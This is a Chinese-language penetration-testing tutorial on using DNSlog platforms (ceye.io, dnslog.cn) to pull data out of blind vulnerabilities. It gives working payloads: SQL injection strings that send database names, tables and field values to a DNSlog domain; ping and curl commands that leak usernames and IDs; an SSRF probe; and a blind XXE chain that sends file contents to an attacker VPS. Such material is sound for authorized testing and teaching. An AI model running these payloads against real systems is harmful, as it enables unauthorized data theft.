如何利用DNSlog进行更高效率的无回显渗透
字数 1764 2025-08-05 08:19:06
利用DNSlog进行高效无回显渗透技术详解
一、DNSlog基础概念
1.1 什么是DNSlog
DNSlog是存储在DNS服务器上的域名访问信息日志,记录用户对域名的访问情况。当用户访问一个域名时,DNS服务器会记录下这个解析请求,包括请求的域名和时间等信息。
1.2 DNSlog工具平台
1.2.1 自建平台
- 使用BugScan团队开源工具搭建:https://github.com/BugScanTeam/DNSLog
- 需要自有服务器和域名
1.2.2 在线平台
- http://ceye.io
- http://www.dnslog.cn
1.3 DNSlog平台使用方法
1.3.1 www.dnslog.cn使用
- 点击"Get SubDomain"获取子域名
- 访问获取的子域名
- 在"Refresh Record"中查看DNS解析记录
注意:DNS缓存机制可能导致重复访问同一域名不会产生新记录,解决方法是在域名前添加随机前缀(如1.xxx.dnslog.cn)
1.3.2 ceye.io使用
- 登录后获取唯一的三级域名(如xxx.ceye.io)
- 访问*.xxx.ceye.io的任何子域名
- 在"Records"→"DNS Query"中查看解析记录
二、DNSlog回显原理
DNSlog利用多级域名解析过程实现信息回显:
- 构造包含敏感信息的子域名(如
data.xxx.ceye.io) - 目标服务器解析该域名时,DNS服务器会记录解析请求
- 通过查看DNSlog获取回显的敏感信息
示例:
ping %USERNAME%.xxx.ceye.io
系统会先解析%USERNAME%变量,然后拼接域名进行解析,DNSlog中会记录包含用户名信息的解析请求。
三、DNSlog渗透应用场景
3.1 SQL盲注
3.1.1 适用条件
- 布尔盲注/时间盲注效率低
- 目标站点无回显
- MySQL需要root权限(load_file函数)
- secure_file_priv设置为空(可读取任意文件)
- 仅适用于Windows系统(需要UNC路径支持)
3.1.2 UNC路径说明
UNC路径格式:\\server\share\file
在SQL注入中需要使用四个反斜杠转义:\\\\
3.1.3 常用Payload
当前库名:
and (select load_file(concat('//',(select database()),'.xxx.ceye.io/a')))
用户名(hex编码防特殊字符):
and (select load_file(concat('//',(select hex(user())),'.xxx.ceye.io/a')))
表名:
and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxx.ceye.io/a')))
列名:
and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 1,1),'.xxx.ceye.io/a')))
字段值:
and (select load_file(concat('//',(select username from admin limit 0,1),'.xxx.ceye.io/a')))
3.2 XSS盲打
3.2.1 利用方式
构造XSS payload让受害者浏览器访问DNSlog域名,通过查看DNS记录确认XSS存在。
3.2.2 示例Payload
3.3 无回显命令执行
3.3.1 Windows系统
ping %OS%.xxx.ceye.io
常用Windows环境变量:
- %USERNAME% - 当前用户名
- %COMPUTERNAME% - 计算机名
- %OS% - 操作系统类型
- %PROCESSOR_ARCHITECTURE% - 处理器架构
- %SYSTEMROOT% - 系统目录
3.3.2 Linux系统
curl `whoami`.xxx.ceye.io
# 或
ping $(id -u).xxx.ceye.io
3.4 无回显SSRF
3.4.1 探测方法
构造SSRF请求访问DNSlog域名:
/?url=http://xxx.ceye.io
查看DNSlog是否有解析记录判断是否存在SSRF漏洞。
3.5 无回显XXE(Blind XXE)
3.5.1 漏洞验证
<?xml version="1.0" encoding="gb2312"?>
<!DOCTYPE a [
<!ENTITY xi SYSTEM "http://xxx.ceye.io">
]>
<reset><login>ξ</login><secret>Any bugs?</secret></reset>
3.5.2 文件读取
需要VPS服务器配合:
- 在VPS上创建a.dtd文件:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/blind.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://vps-ip:6666/%file;'>">
- 在VPS上启动web服务:
python -m http.server 11111
- 提交Payload:
<?xml version="1.0" encoding="gb2312"?>
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "http://vps-ip:11111/a.dtd">
%xxe;%int;%send; ]
- 在VPS上监听6666端口接收数据
四、注意事项
- DNS缓存问题:相同域名多次请求可能只记录一次,解决方法是在域名前添加随机前缀
- 特殊字符处理:对不确定内容先进行hex编码
- MySQL的load_file函数限制:需要文件完整路径、文件可读、不超过max_allowed_packet
- Windows与Linux区别:DNSlog注入主要适用于Windows(需要UNC路径)
- 合法合规:所有测试应在授权范围内进行
五、总结
DNSlog技术为无回显漏洞的利用提供了高效解决方案,特别是在SQL盲注、XSS盲打、命令执行、SSRF和Blind XXE等场景中表现出色。通过合理构造DNS请求,渗透测试人员可以绕过传统无回显限制,获取关键系统信息。掌握DNSlog技术将显著提升渗透测试效率,是安全研究人员必备的高级技巧之一。